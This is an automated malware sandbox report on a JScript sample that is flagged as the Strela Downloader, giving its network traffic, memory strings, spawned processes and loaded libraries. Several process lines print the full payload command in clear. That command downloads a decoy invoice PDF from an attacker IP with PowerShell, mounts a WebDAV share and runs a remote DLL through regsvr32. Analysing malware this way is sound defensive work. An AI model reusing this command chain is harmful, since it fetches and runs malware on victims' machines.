HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.1688502197.00000202512CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1745299534.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1743498670.000001DCE728C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1746071227.000001DCE7238000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1746140391.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1745299534.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1746140391.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/)f
Source: net.exe, 00000007.00000003.1745299534.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1746140391.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/=f
Source: net.exe, 00000007.00000003.1745299534.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1746140391.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Uf
Source: net.exe, 00000007.00000002.1746071227.000001DCE7238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem9
Source: svchost.exe, 00000009.00000002.2971306404.00000167FDA0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1745459004.00000167FD880000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3536, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 10557253441737814573.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1928:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4hniny2t.oze.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2256 --field-trial-handle=1668,i,8900237095327274220,17911093714711884104,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2256 --field-trial-handle=1668,i,8900237095327274220,17911093714711884104,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
